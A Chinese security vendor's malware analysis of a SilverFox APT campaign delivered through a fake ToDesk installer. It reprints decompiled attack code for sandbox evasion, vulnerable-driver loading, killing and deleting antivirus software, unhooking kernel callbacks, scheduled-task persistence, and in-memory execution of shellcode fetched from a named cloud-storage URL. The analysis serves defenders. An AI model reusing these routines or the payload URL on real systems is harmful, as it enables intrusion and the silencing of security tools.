写点什么

深度剖析银狐 APT 攻击链,最终载荷竟是致命远控

作者:塞讯科技
  • 2025-08-11
    上海
  • 本文字数:18230 字

    阅读完需:约 60 分钟

深度剖析银狐APT攻击链,最终载荷竟是致命远控

想象一下,在你的企业网络深处,潜伏着一个几乎无法察觉的数字幽灵,它没有惊扰任何警报,没有留下明显的痕迹,却像一个极具耐心的猎手,花费数月甚至数年时间,只为等待一个最佳时机,窃取你公司最核心的知识产权——可能是下一代产品的设计图,可能是改变市场的源代码,也可能是价值连城的制药机密。

这个幽灵,就是我们今天的主角——银狐 (SilverFox, APT-C-43)。

这不是普通的黑客团伙,而是一个具有国家背景的顶级 APT 组织。他们技术精湛、组织严密,攻击行动像一场精心策划的军事行动,而非简单的网络入侵。他们的目标清晰,时刻瞄准全球范围的高科技、国防、生物医药等领域的商业机密。

为了深入剖析这只狡猾的狐狸,塞讯验证安全实验室投入了大量精力,对其攻击链条进行了全面的逆向分析与战术复现。今天,就跟随我们的视角,一步步拆解银狐的狩猎剧本,看看它是如何悄无声息地完成致命一击的。

01 攻击流程分析

近期攻击活动中,银狐威胁组织主要通过仿冒 ToDesk 官网提供钓鱼安装包,诱导用户执行安装,当用户执行时,会解密释放多个恶意 DLL 以及加密数据文件,通过多阶段执行并下载最终释放 Ratal 远控木马,窃取用户敏感数据


02 沙箱检测

一切始于一个名为 0WTP95k.exe 的可执行文件。它看起来平平无奇,但内心却充满了对环境的警惕。在执行任何恶意操作之前,它首先要做的是——环境感知

1. 反沙箱的心跳: 攻击者知道,安全分析师们喜欢将可疑样本丢进沙箱中观察其行为。为了对抗这一点,它通过 QueryPerformanceCounter 这个高精度计时 API,反复执行一段固定的计算任务。在物理机上,每次运算的时间偏差极小,而在虚拟机中,由于资源调度,时间偏差会变大。一旦发现偏差率超过 0.0008 这个阈值,样本便知道自己身处牢笼,会进入下一步的硬件检查。

uVar9=0x7fe1ccf3;do{    QueryPerformanceCounter(local_e8);   QueryPerformanceFrequency(local_c8);   QueryPerformanceCounter(local_b8);   do {     iVar1 =0;     do {       iVar1 =iVar1 +1;       /* 通过执行多次运算来收集每次程序运算的时间 */     } while (Var1 != 500);     QueryPerformanceCounter(local_a8);   } while ((double)(local_a8[0].QuadPart - (longlong)local_b8[0]) *1000.0 / (double)local_c8[0].QuadPart < 300.0);   uVar2 = uVar2 + 1;   QueryPerformanceCounter(local_d8);   dVar3 =((double)(local_d8[0].QuadPart - (longlong)local_e8[0]) *1000.0) / (double)local_f8[0].QuadPart;   dVar5 = dVar3;   if ((double)CONCAT44(uVar9, uVar8) <=dVar3) {     dVar5 = (double)CONCAT44(uVar9,uVar8);   }       dVar6 = dVar3;       if (dVar3 <=(double)CONCAT44(uVar11,uVar10)){        dVar6 = (double)CONCAT44(uVar11,uVar10);   }   dVar7 = dVar7 + dVar3;   uVar8 = SUB84(dVar5,0);   uVar9 =(undefined4)(ulonglong)dVar5 >>0x20;   uVar10 = SUB84(dVar6,0);   uVar11 =(undefined4)(ulonglong)dVar6 >> 0x20;   printf(" [Sample %02d] %.2fms\n",(ulonglong)uVar2,dVar3);  } while (uVar2 != 10);/*计算每次收集的代码执行时间与300ms的偏差率,如果偏差量保持在0.0008则表示计时器是稳定的,可能处于物理环境下 */dVar4 = ABS(dVar7 / 10.0- 300.0) /300.0;dVar3 = dVar4 * 100.0;printf(" Avg: %.2fms | Min-Max: %.2f-%.2fms | Dev: %.2f%%\n",dVar7 / 10.0,dVar5, dVar6, dVar3);if (0.0008 <= dVar4) {  printf("Time fluctuation detected (Dev: %.2f%% >= %.2f%%), likely in sandbox or VM. Proceeding to hardware check.\n",dVar3,0x3fb47ae147ae147b);}
复制代码

2. 硬件的拷问: 样本接着对系统硬件进行扫描:

• 你的硬盘有多大:如果总大小小于 50GB,很可能是为分析而设的迷你虚拟机。

• 你有几个 CPU 核心:如果少于 2 个,大概率是资源有限的沙箱环境。

一旦任何一项检测触发警报,样本便会识趣地停止活动,如同变色龙融入环境,静待下一次机会。这种极致的谨慎,是 APT 攻击的典型特征。

undefined8 FUN_00401990(void) { DWORD DVar1; BOOL BVar2; int iVar3; _time64_t _Var4; undefined8 uVar5; uint uVar6; double dVar7; undefined4 local_98 [4]; ULARGE_INTEGER local_88 [4]; uint local_68;
 uVar6 =0x41;_Var4 =_time64((_time64_t *)0x0); dVar7 =0.0; srand((uint)_Var4);puts("Checking system hardware configuration...");DVar1= GetLogicalDrives();local_98[0] =0x5c3a41;do{ if ((1 << ((char)uVar6 + 0xbfU & 0x1f) & DVar1) != 0) { local_98[0] = CONCAT31(local_98[0].l_3_(char)uVar6); BVar2 = GetDiskFreeSpaceExA((LPCSTR)local_98, (PULARGE_INTEGER)0x0,local_88,(PULARGE_INTEGER)0x0); if (BVar2 != 0) { dVar7 = dVar7 + (double)local_88[0] * 9.313225746154785e-10; printf(" Drive %c: %.2f GB\n", (ulonglong)uVar6, (double)local_88[0] * 9.313225746154785e-10); } } uVar6 = uVar6 + 1; /*获取磁盘总大小 */}while (uVar6 != 0x5b);printf(" Total disk size: %.2f GB\n",dVar7);if (dVar7 <50.0) { printf("Total disk size too small (< %.1f GB), likely sandbox/VM\n", 0x4049000000000000); uVar5 =0;}}
复制代码


else {GetSystemInfo((LPSYSTEM_INFO)&local_88[0].s);printf(" CPU cores: %lu\n",(ulonglong)cpu_number);  if (cpu_number < 2){    printf(" CPU cores too few (<= %d), likely sandbox /VM.\n", 1);    uVar5 = 0;  }  else {    iVar3 = rand();    Sleep(iVar3 % 100 + 0x32);    puts("Hardware check passed, likely physical machine.");    uVar5 =1;  }}
复制代码

3. 消耗耐心的垃圾时间: 代码中可以看到类似 do { ... } while (DAT_0057e044 < 0x3b9aca01) 这样的循环,其唯一的目的就是空耗 CPU 时间,刻意拖延执行。这是一种经典的反沙箱战术。

因为大多数自动化沙箱的分析时间很短,只有 5-10 分钟,如果恶意行为迟迟不触发,沙箱可能会认为样本无害而结束分析。银狐通过制造这些垃圾时间,企图耗尽分析工具和分析师的耐心,在他们放弃之后才开始真正的表演。

local_1b8 = 4;if (DAT_0057e044 < 0x3b9aca01) {  do {    UpdateWindow((HWND)0x0);    DAT_0057e044 = DAT_0057e044 + 1;  } while (DAT_0057e044 < 0x3e9);}IVar12 = 0;
复制代码

03 阶段一

解密并执行第一阶段载荷,类型为 DLL 文件,最终依次执行两个导出函数,载荷中存在大量混淆代码,主要用于干扰分析,以及最终通过加载漏洞驱动对抗杀毒软件。

1. 攻击始于 DLL 的 DllMain 函数,它直接调用了核心功能的导出函数 strats,拉开了攻击的序幕。

undefined8 DllMain(undefined8 param_1){  DAT_1800516f8 = param_1;  strats();  return1;}
复制代码

2. strats 函数首先通过 WMI 查询(SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionStatus = 2)来获取所有处于已连接状态的网络适配器信息,包括设备 ID、名称等。这步操作是在为后续的网络破坏做准备,先摸清网络环境。

HVar3 = CoInitializeEx((LPVOID)0x0, 0);if (HVar3 < 0) goto LAB_180009474;HVar3 = CoInitializeSecurity(  (PSECURITY_DESCRIPTOR)0x0, -1, (SOLE_AUTHENTICATION_SERVICE *)0x0,  (void *)0x0, 0, 3,   (void *)0x0, 0, (void *)0x0);
复制代码


180007313488b ceMOV param_1, RSI调用 IWbemServices::ExecQuery“已连接”状态的网络…180007316 ff 90   CALL qword ptr [RAX + 0xa0] ;           a0 00          000018000731c 8b d8    MOV EBX, EAX18000731e 488d    LEA param_1=>WQL, [RSP + 0x70]          4c 2470180007323 e8 0c   CALL    SysFreeString_u ;          2d 000018000732890    NOP180007329488d    LEA param_1=>WMIStr, [RSP + 0x78]          4c 247818000732e e8 01    CALL SysFreeString_u ;           2d 000018000733385 db    TEST      EBX, EBX ; 1800073350f89     JNS         LAB_1800073fb ;           C0 00          0000
复制代码


local_d8 = param_1;plVar3 = FUN_180004220(WMIStr,"SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionStatus = 2");plVar4 = FUN_180004220(&WQL, "WQL");uVar8 = uVar7;if ((undefined8 *)*plVar3 != (undefined8 *)0x0) {  uVar8 = *(undefined8 *)*plVar3;            }if ((undefined8 *)*plVar4 != (undefined8 *)0x0) {    uVar7 = *(undefined8 *)*plVar4; }/* IWbemServices::ExecQuery         "已连接" 状态的网络适配器的全部属性信息"SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionStatus = 2" */ uVar2 = (**(code **)(*param_2 + 0xa0))(param_2, uVar7, uVar8, 0x30);SysFreeString_u(&WQL);SysFreeString_u(WMIStr);
复制代码


1800074684c 89742428MOV qword ptr [RSP + local_160], R1418000746d 4c 89742420MOV qword ptr [RSP + local_168], R141800074724c 8d 9598 ff ff ffLEA R9=>WMIStr[32], [RBP + -0x68]1800074794533 c0XOR R8D, R8D18000747c 488d 1530033400LEA param_2, [u_DeviceID_18003a8b0] = "DeviceID"180007483 ff 5020CALL qword ptr [RAX + 0x20] ; IWbemClassObject::Get获取本次循环的设备ID180007486488b4c 2448    MOV param_1, qword ptr [RSP + local_...]18000748b4c 8b01    MOV RAX, qword ptr [param_1]18000748e 4c 89742428   MOV qword ptr [RSP + local_160], R141800074934c 89742420    MOV qword ptr [RSP + local_168], R141800074984c 8d 9558000000    LEA R9=>local_130, [RSP + 0x58]18000749f4533 c0    XOR R8D, R8D1800074a2 488d 15 c8 033400    LEA param_2, [u_Name_18003a8c8] = "Name"1800074a9 ff 5020   CALL qword ptr [RAX + 0x20] ; IWbemClassObject::Get获取本次循环的网络适配器...1800074ac 488b4c 2448    MOV param_1, qword ptr [RSP + local_...]1800074b1 4c 8b01   MOV RAX, qword ptr [param_1]1800074b4 4c 89742428   MOV qword ptr [RSP + local_160], R141800074b9 4c 89742420   MOV qword ptr [RSP + local_168], R141800074be 4c 8d 9580 ff ff ff   LEA R9=>WMIStr[8], [RBP + -0x80]1800074c5 4533 c0   XOR R8D, R8D1800074c8 488d 1560033400   LEA param_2, [u_PATH_18003a640] = "_PATH"1800074cf ff 5020  CALL qword ptr [RAX + 0x20] ; IWbemClassObject::Get获取本次循环的网络适配器...
复制代码

3. 在获取到网络适配器信息后,样本执行了一个惊人的操作——通过 WMI 的 ExecMethod 方法调用了 ReleaseDHCPLease。

此举会释放从 DHCP 服务器获得的 IP 租约,直接导致目标主机断网。这可能是为了中断依赖云端通信的安全软件,创造一个孤立的环境。

LAB_1800053adXREF[1]: 1800053a8(j)1800053ad 498b07MOV     RAX, qword ptr [R15]1800053b0 48897c 2438MOVqword ptr [RSP + local_190], RDI1800053b5 488d 4c 2448LEAparam_1=>local_180, [RSP + 0x48]1800053ba 48894c 2430MOVqword ptr [RSP + local_198], param_11800053bf 48897c 2428MOVqword ptr [RSP + local_1a0], RDI1800053c4 48897c 2420MOVqword ptr [RSP + local_1a8], RDI1800053c9 4533 c9XORR9D, R9D1800053cc 498b cfMOVparam_1, R15; 通过IWbemServices::ExecMethod 执行ReleaseDHCPLease1800053cf ff 90 c0 000000    CALL    qword ptr [RAX + 0xc0]1800053d5 8b d8                MOV     EBX, EAX1800053d7 488d 4c 2460       LEA     param_1=>local_168, [RSP + 0x60]1800053dc e8 534c 0000       CALL    SysFreeString_u                   ; undefined SysFreeString_u()1800053e1 90                   NOP1800053e2 48 8d 4c 24 68LEAparam_1=>local_160, [RSP + 0x68]1800053e7 e8 484c 0000CALL    SysFreeString_u; undefined SysFreeString_u()1800053ec 85 dbTEST    EBX, EBX1800053ee 0f 89 b4 00 00 00    JNS     LAB_1800054a8
复制代码

4. 样本开始通过 Ret_Process_ID 等函数,扫描系统中是否存在一系列主流安全软件的进程,如 QQPCRTP.exe(QQ 电脑管家)、HipsDaemon.exe(火绒)、kxetray.exe(金山毒霸)、360rps.exe(360 安全卫士)等,并获取其完整路径,锁定清除目标。

if ((((0 < iVar4) || (iVar4 = Ret_Process_ID(L"QQPCRTP.exe"), 0 < iVar4)) ||     (iVar4 = Ret_Process_ID(L"HipsDaemon.exe"), 0 < iVar4)) ||    ((iVar4 = Ret_Process_ID(L"kxetray.exe"), 0 < iVar4) ||     (iVar4 = Ret_Process_ID(L"360rps.exe"), 0 < iVar4)))) {  plVar8 = (longlong *)Get_Process_Path(&local_3a0,L"360Tray.exe");  FUN_180004b30((longlong *)&DAT_180052738,plVar8);                if (0xf < uStack_388) {    pvVar21 = local_3a0;    if ((0xfff < uStack_388 + 1) &&        (pvVar21 = *(LPVOID *)((longlong)local_3a0 + -8),        0x1f < (ulonglong)((longlong)local_3a0 + (-8 - (longlong)pvVar21)))) {             FUN_1800178d40();             pcVar1 = (code *)swi(3);             (*pcVar1)();             return;         }         thunk_FUN_180018640(pvVar21);     }     Get_Process_Path(local_200,L"QQPCRTP.exe");     Get_Process_Path(local_220,L"QQPCTray.exe");     Get_Process_Path(local_240, L"360rps.exe");     Get_Process_Path(local_260,L"360sd.exe");     Get_Process_Path(local_180,L"HipsTray.exe");     Get_Process_Path(local_1a0,L"HipsDaemon.exe");     Get_Process_Path(local_1c0,L"HipsMain.exe");     Get_Process_Path(local_280, L"kxescore.exe");     Get_Process_Path(local_2a0, L"kxetray.exe");     Get_Process_Path(local_2c0, L"kxemain.exe"); 
复制代码

5. 样本从自身资源中释放一个漏洞驱动,并将其伪装成一个随机名称的.jpeg 文件(如 C:\随机字符.jpeg),同时设置其文件属性为“隐藏+系统”,使其难以被察觉。


local_38 = DAT_18004ffa8 ^ (ulonglong)auStackY_188;plVar5 = param_1;if (0xf < (ulonglong)param_1[3]) {plVar5 = (longlong *)*param_1;          }local_48 = param_1;local_40 = param_3;hResInfo = FindResourceA(DAT_1800516f8,(LPCSTR)(ulonglong)param_2,(LPCSTR)plVar5);DVar2 = SizeofResource(DAT_1800516f8, hResInfo);hResData = LoadResource(DAT_1800516f8, hResInfo);pvVar3 = LockResource(hResData);plVar5 = param_3;if (0xf < (ulonglong)param_3[3]) {    plVar5 = (longlong *)*param_3;}
复制代码


BVar5 = SetFileAttributesA((LPCSTR)pppppCVar11, 6);if (BVar5 == 0) {  GetLastError();
复制代码


6. 为了让这个驱动生效,样本手动在注册表 System\CurrentControlSet 下创建服务项,指定 ImagePath 为刚刚释放的漏洞驱动路径,并设置服务类型。

最后,它通过加载 ntdll.dll 并调用 NtLoadDriver,以极高的权限将该驱动加载到系统内核。

 local_18 = DAT_18004ffa8 ^ (ulonglong)auStackY_148;LVar1 = RegOpenKeyExW((HKEY)0xffffffff80000002,L"System\\CurrentControlSet",0,2,&local_118);if (((LVar1 == 0) && (LVar1 = RegCreateKeyW(local_118,DAT_1800526b0,&local_108), LVar1 == 0)) && (pData = (BYTE *)calloc_base(0x400,1), pData != (BYTE *)0x0)) {                                                                                                sVar2 = strlen("\\??\\");FUN_1800121b0((undefined8 *)pData,(undefined8 *)&DAT_180039f24,sVar2);sVar2 = strlen(DAT_1800526b0);sVar3 = strlen("\\??\\");FUN_1800121b0((undefined8 *)(pData + sVar3),(undefined8 *)DAT_1800526b0,sVar2);              sVar2 = strlen((char *)pData);// set HKEY_LOCAL_MACHINE\System\CurrentControlSet\WlpXsJAJYN\ImagePath = \??\C:\漏洞驱动文件LVar1 = RegSetValueExA(local_108,"ImagePath",0,2,pData,(int)sVar2 + 1);if (LVar1 == 0) {  local_110[0] = '\x01';  local_110[1] = '\x0';  local_110[2] = '\x0';  local_110[3] = '\x0';  LVar1 = RegSetValueExA(local_108,"Type",0,4,local_110,4);  if ((LVar1 == 0) && (LVar1 = RegOpenKeyExW((HKEY)0xffffffff80000002,L"System\\CurrentControlSet\\services",0,2,&local_118), LVar1 == 0)) {    RegCreateKeyW(local_118,DAT_1800526b0,&local_108);  }  RegCloseKey(local_118);  hModule = LoadLibraryA("ntdll.dll");  RtlInitUnicodeString = GetProcAddress(hModule,"RtlInitUnicodeString");  NtLoadDriver = GetProcAddress(hModule,"NtLoadDriver");  RtlAdjustPrivilege = GetProcAddress(hModule,"RtlAdjustPrivilege");  iVar4 = (*RtlAdjustPrivilege)(10,1,0,local_100);  if (-1 < (int)iVar4) {    builtin_wcscpy(local_e8,L"\\Registry\\Machine\\System\\CurrentControlSet\\",0x2c);            FUN_180012860((undefined *)32,local_90,0x70);            lstrcatW(local_e8,DAT_1800526b0);            (*RtlInitUnicodeString)(local_f8,local_e8);            (*NtLoadDriver)(local_f8);        }    }}FUN_1800112d0(local_18 ^ (ulonglong)auStackY_148);return;
复制代码

7. 在驱动加载后,样本开始收网。它会循环检测之前识别出的安全软件进程,一旦发现,便调用 TerminateProcess 函数进行强制终止,毫不留情。

while (iVar4 = Get_Process_ID(L"ZhuDongFangYu.exe"), iVar4 != 0) {  TerminateProcess(L"ZhuDongFangYu.exe");  Sleep(0x32);}while (iVar4 = Get_Process_ID(L"360tray.exe"), iVar4 != 0) {    TerminateProcess(L"360Tray.exe");    Sleep(0x32);}while (iVar4 = Get_Process_ID(L"360Safe.exe"), iVar4 != 0) {      TerminateProcess(L"360Safe.exe");      Sleep(0x32);}while (iVar4 = Get_Process_ID(L"QQPCRTP.exe"), iVar4 != 0) {        TerminateProcess(L"QQPCRTP.exe");        Sleep(0x32);}while (iVar4 = Get_Process_ID(L"QQPCTray.exe"), iVar4 != 0) {          TerminateProcess(L"QQPCTray.exe");          Sleep(0x32);}while (iVar4 = Get_Process_ID(L"360rps.exe"), iVar4 != 0) {            TerminateProcess(L"360rps.exe");            Sleep(0x32);}while (iVar4 = Get_Process_ID(L"360sd.exe"), iVar4 != 0) {              TerminateProcess(L"360sd.exe");              Sleep(0x32);}while (iVar4 = Get_Process_ID(L"HipsTray.exe"), iVar4 != 0) {                TerminateProcess(L"HipsTray.exe");                Sleep(0x32);}while (iVar4 = Get_Process_ID(L"HipsDaemon.exe"), iVar4 != 0) {                  TerminateProcess(L"HipsDaemon.exe");                  Sleep(0x32);}while (iVar4 = Get_Process_ID(L"HipsMain.exe"), iVar4 != 0) {                    TerminateProcess(L"HipsMain.exe");                    Sleep(0x32);}while (iVar4 = Get_Process_ID(L"kxemain.exe"), iVar4 != 0) {                      TerminateProcess(L"kxemain.exe");                      Sleep(0x32);}while (iVar4 = Get_Process_ID(L"kxetray.exe"), iVar4 != 0) {                        TerminateProcess(L"kxetray.exe");    Sleep(0x32);}
复制代码

8. 这是最核心的对抗手段。样本通过 DeviceIoControl 与漏洞驱动通信,利用驱动的内核权限,将安全软件注册在 FltMgr.sys(文件系统过滤管理器)中的文件监控回调从通知链表中移除

此后,所有安全软件对文件的创建、删除、修改等操作将彻底失效。

voidFUN_1800079bc(LPCSTR FLTMGR_sys, LPCSTR FltEnumerateFilters){  int iVar1;  longlong IVar2;  HMODULE hModule;  undefined auStack_a8 [32];  char local_88 [112];  ulonglong local_18;    local_18 = DAT_18004ffa8 ^ (ulonglong)auStack_a8;  IVar2 = FUN_180007c50(FLTMGR_sys);  if (IVar2 != 0) {    iVar1 = strcmp(FLTMGR_sys, "FLTMGR.sys");    if (iVar1 == 0) {      builtin_strncpy(local_88 + 0x18, "ers\\", 5);      builtin_strncpy(local_88, "C:\\windows\\system32\\driv", 0x18);      FUN_180012860((undefined (*)[32])(local_88 + 0x1d), 0, 0x47);      strcatA(local_88, FLTMGR_sys);      hModule = LoadLibraryExA(local_88, (HANDLE)0x0, 1);     } else {      hModule = LoadLibraryA(FLTMGR_sys);    }    if (hModule != (HMODULE)0x0) {      GetProcAddress(hModule, FltEnumerateFilters);    }  }  FUN_1800112d0(local_18 ^ (ulonglong)auStack_a8);  return;}
复制代码


local_10 = DAT_18004ffa8 ^ (ulonglong)auStackY_88;local_30 = 0;local_40 = 0;local_20 = 0;uStack_18 = 0;uStack_28 = (ulonglong)param_1;uStack_38 = param_2;BVar1 = DeviceIoControl(DAT_1800526c0,0x80002048,&local_40,0x30,&local_40,0x30,local_48,(LPOVERLAPPED)0x0);if (BVar1 == 0) {  CloseHandle(DAT_1800526c0);}FUN_1800112d0(local_10 ^ (ulonglong)auStackY_88);return;
复制代码

9. 同样地,样本利用漏洞驱动,移除了安全软件注册的注册表回调。这使得安全软件对注册表的各类操作行为也无法再监控,变成了睁眼瞎。

voidFUN_1800079bc(LPCSTR ntoskrnl_exe, LPCSTR CmUnRegisterCallback){int iVar1;longlong IVar2;HMODULE hModule;undefined auStack_a8 [32];char local_88 [112];ulonglong local_18;    local_18 = DAT_18004ffa8 ^ (ulonglong)auStack_a8;    IVar2 = FUN_180007c50(ntoskrnl_exe);    if (IVar2 != 0) {    iVar1 = strcmp(ntoskrnl_exe, "FLTMGR.sys");    if (iVar1 == 0) {    builtin_strncpy(local_88 + 0x18, "ers\\", 5);    builtin_strncpy(local_88, "C:\\windows\\system32\\driv", 0x18);    FUN_180012860((undefined (*)[32])(local_88 + 0x1d), 0, 0x47);    lstrcatA(local_88, ntoskrnl_exe);    hModule = LoadLibraryExA(local_88, (HANDLE)0x0, 1);    } else {    hModule = LoadLibraryA(ntoskrnl_exe);    }    if (hModule != (HMODULE)0x0) {    GetProcAddress(hModule, CmUnRegisterCallback);    }    FUN_1800112d0(local_18 ^ (ulonglong)auStack_a8);    return; 
复制代码


local_10 = DAT_18004ffa8 ^ (ulonglong)auStackY_88;local_30 = 0;local_40 = 0;local_20 = 0;uStack_18 = 0;uStack_28 = (ulonglong)param_1;uStack_38 = param_2;BVar1 = DeviceIoControl(DAT_1800526c0, 0x80002048, &local_40, 0x30, &local_40, 0x30, local_48, (LPOVERLAPPED)0x0);if (BVar1 == 0) {  CloseHandle(DAT_1800526c0);}FUN_1800112d0(local_10 ^ (ulonglong)auStackY_88);return;
复制代码

10. 在安全软件被终止且监控功能被废除后,样本调用 DeleteFileA,开始删除之前获取到的安全软件主程序文件,如 HipsMain.exe 等,进行毁尸灭迹。

for (bVar3 = local_1f0 == 0;      !bVar3; bVar3 = !bVar3) {  pppppCVar11 = local_200;  if (0xf < local_1e8) {    pppppCVar11 = (LPCSTR ****)local_200[0];  }}/* 填充杀毒软件程序完整路径 */DeleteFileA((LPCSTR)pppppCVar11);Sleep(100);local_3b0 = 0;pppppCVar11 = local_200;if (0xf < local_1e8) {  pppppCVar11 = (LPCSTR ****)local_200[0];}uStack_3a8 = 0;local_3c0 = (LPCSTR ***)0x0;             uStack_3b8 = 0;sVar6 = strlen((char *)pppppCVar11);
复制代码

查询注册表"HKEY_LOCAL_MACHINE\SOFTWARE\Huorong\Sysdiag" ,获取火绒安装路径。

 *(undefined *)param_1 = 0;local_138 = 1;/* 查询 HKEY_LOCAL_MACHINE\Software\Huorong\sysdiag 键 InstallPath */local_130 = param_1;LVar1 = RegOpenKeyExA((HKEY)0xffffffff80000002, "SOFTWARE\\Huorong\\Sysdiag", 0, 0x20019, &local_140);if (LVar1 == 0) {    FUN_180012860((undefined (*)[32])local_128, 0, 0x104);    local_148[0] = 0x104;    LVar1 = RegQueryValueExA(local_140, "installPath", (LPDWORD)0x0, (LPDWORD)0x0, local_128, local_148);    if (LVar1 == 0) {        FUN_18000b05c(param_1, (char *)local_128);    }    RegCloseKey(local_140);}if (param_1[2] == 0) {    LVar1 = RegOpenKeyExA((HKEY)0xffffffff80000002, "SOFTWARE\\WOW6432Node\\Huorong\\Sysdiag", 0, 0x20019, &local_140);    if (LVar1 == 0) {        FUN_180012860((undefined (*)[32])local_128, 0, 0x104);        local_148[0] = 0x104;        LVar1 = RegQueryValueExA(local_140, "installPath", (LPDWORD)0x0, (LPDWORD)0x0, local_128, local_148);        if (LVar1 == 0) {            FUN_18000b05c(param_1, (char *)local_128);        }        RegCloseKey(local_140);    }}FUN_1800112d0(local_18 ^ (ulonglong)auStackY_178);
复制代码

删除火绒其他相关文件:  bin\HipsMain.exe、bin\HipsDaemon.exe、bin\HipsTray.exe。

 Get_File_info(&local_3c0,&local_320,"bin\\HipsMain.exe");Get_File_info((undefined8 *)&local_300,&local_320,"bin\\HipsDaemon.exe");              Get_File_info(&local_380,&local_320,"bin\\HipsTray.exe");do {  pppppCVar11 = &local_3c0;  if (0xf < uStack_3a8) {    pppppCVar11 = (LPCSTR ****)local_3c0;                   }  DeleteFileA((LPCSTR)pppppCVar11);  Sleep(100);  local_390 = 0;  pppppCVar11 = &local_3c0;  if (0xf < uStack_3a8) {    pppppCVar11 = (LPCSTR ****)local_3c0;                   }}
复制代码

11. 完成所有清理工作后,样本再次通过 WMI 调用 RenewDHCPLease 方法,强制启动 DHCP 客户端服务,重新获取 IP 地址,恢复主机网络

此刻,一个表面看似正常、实则裸奔的系统环境已经准备就绪。

 LAB_180005fff7                         XREF[1]: 180005fff2(j)180005fff7 498b06 MOV     RAX, qword ptr [R14]180005fffa 4c 89642438MOV     qword ptr [RSP + local_160], R12180005ffff 488d 4c 2458LEA     param_1=>local_140, [RSP + 0x58]18000600448894c 2430MOV     qword ptr [RSP + local_168], param_11800060094c 89642428MOV     qword ptr [RSP + local_170], R1218000600e 4c 89642420MOV     qword ptr [RSP + local_178], R121800060134533 c9XOR     R9D, R9D180006016498b ceMOV     param_1, R14; 通过IWbemServices::ExecMethod执行;"RenewDHCPLease"方法重新执行DHCP流程180006019 ff 90 c0 000000    CALL    qword ptr [RAX + 0xc0]
复制代码

04 阶段二

此阶段的任务非常纯粹——作为跳板,从云端下载并执行下一阶段的攻击组件,整个过程力求隐蔽,不留痕迹。

• HttpShellcode 执行:第二阶段的核心是一个名为 HttpShellcode 的导出函数。它首先通过 InternetOpenUrlA 连接到阿里云 OSS 上的一个地址:http://key2025.oss-cn-hongkong.aliyuncs.com/2025.bin,下载第三阶段的核心载荷。

• 内存中执行:为了实现无文件攻击,样本将下载的 2025.bin 内容直接加载到内存中。它通过 VirtualAlloc 申请一块可执行内存,然后巧妙地调用 EnumDateFormatsA API,将指向这块内存的地址作为回调函数传入,从而在内存中神不知鬼不觉地执行了第三阶段的 Shellcode,完成了完美的跳板任务。

 undefined8 uVar1;void *_Src;DATEFMT_ENUMPROCA lpDateFmtEnumProc;uint local_res8 [2];undefined4 local_res10 [2];undefined4 local_res18 [2];ulonglong in_stack_ffffffffffffffe8;// 0x1000 1 HttpShellCodelocal_res8[0] = 0;local_res10[0] = 0;local_res18[0] = 0;uVar1 = InternetOpenA("54as3",1,0,0,in_stack_ffffffffffffffe8 & 0xffffffff00000000);uVar1 = InternetOpenUrlA(uVar1,"http://key2025.oss-cn-hongkong.aliyuncs.com/2025.bin",0,0,0x80000000,0);local_res10[0] = 4;HttpQueryInfoA(uVar1,0x20000005,local_res8,local_res10,0);_Src = operator_new((ulonglong)local_res8[0]);InternetReadFile(uVar1,_Src,local_res8[0],local_res18);lpDateFmtEnumProc = (DATEFMT_ENUMPROCA)VirtualAlloc((LPVOID)0x0,(ulonglong)local_res8[0],0x1000,0x40);memcpy(lpDateFmtEnumProc,_Src,(ulonglong)local_res8[0]);EnumDateFormatsA(lpDateFmtEnumProc,0x800,0);free(_Src);return;
复制代码

05 阶段三

下载的阶段三载荷"2025"为 DLL 文件,最终执行导出函数 NewGo,NewGo 导出函数主要用于以下行为:

1. NewGo 导出函数首先从同一 OSS 下载 output.log 文件。这个文件并非日志,而是经过 Base64 编码的 C2 指令,解码后可以获取到下一阶段所需资源的网络路径。

// HttpOpenRequestA发送http://key2025.oss-cn-hongkong.aliyuncs.com/output.logIVar5 = HttpOpenRequestA(IVar6,puVar4,ppppuVar10,puVar7);if (0xf < uStack_10d8) {    pvVar9 = local_10f0;    if (((uStack_10d8 + 1 < 0x1000) || (pvVar9 = *(LPVOID *)((longlong)local_10f0 + -8), (ulonglong)((longlong)local_10f0 + (-8 - (longlong)pvVar9))) < 0x20)) {thunk_FUN_1801db838(pvVar9);goto LAB_1800496c8;}}goto LAB_1800498b8;LAB_1800496c8:local_10e0 = 0;uStack_10d8 = 0xf;local_10f0 = (LPVOID)((ulonglong)local_10f0 & 0xffffffffffff00);if (uStack_10b8 < 0x10) {LAB_180049712:                         local_10c0 = 0;                         uStack_10b8 = 0xf;                         local_10d0 = 0;                         if (IVar5 != 0) {                           local_1118 = local_1118 & 0xffffffff00000000;                           iVar3 = HttpSendRequestA(IVar5,0,0,0);                           if (iVar3 != 0) {                             while ((iVar3 = InternetReadFile(IVar5,local_1048,0x1000,local_10a0), iVar3 != 0 && (local_10a0[0] != 0))) {                               puVar13 = local_1048;                               uVar14 = 0;                               do {                                 puVar4 = (undefined8 *)param_1[1];                                 if (puVar4 == (undefined8 *)param_1[2]) {                                   FUN_180008f7c(param_1,puVar4,puVar13);
复制代码



2. 根据 output.log 中的指令,样本会下载 trx38.zip 等多个压缩包,并解压移动到指定目录。这些组件是 Fatal 远控运行所必需的,其中就包括用于白加黑的恶意 DLL msedge_elf.dll。


3.为了长期潜伏,样本通过 COM 接口(ITaskService)创建了一个高权限的计划任务。它将任务作者伪装成“Microsoft-Corporation”,并设置为以最高权限运行,确保重启后依然能自启。

local_518 = local_470._16_8_;// 执行ITaskService::Connect(_variant_t(),_variant_t(),_variant_t(),_variant_t())(**(code **)(*local_368 + 0x50))(local_368,&local_528,&local_4f8,&local_498);VariantClear((VARIANTARG *)&local_470.n2);VariantClear((VARIANTARG *)&local_430.n2);VariantClear((VARIANTARG *)&local_4d8.n2);VariantClear((VARIANTARG *)&local_4b8.n2);puVar9 = FUN_18000de88(&local_380,L"\\");plVar10 = plVar26;if ((undefined8 *)*puVar9 != (undefined8 *)0x0) {    plVar10 = *(longlong **)*puVar9;}// 执行ITaskService::GetFolder "\\"(**(code **)(*local_368 + 0x38))(local_368,plVar10,&local_308);FUN_18000df18(&local_380);// ITaskService::NewTask(**(code **)(*local_368 + 0x48))(local_368,0,&local_388);// ITaskDefinition::get_RegistrationInfo(**(code **)(*local_388 + 0x38))(local_388,local_2f8); 
复制代码


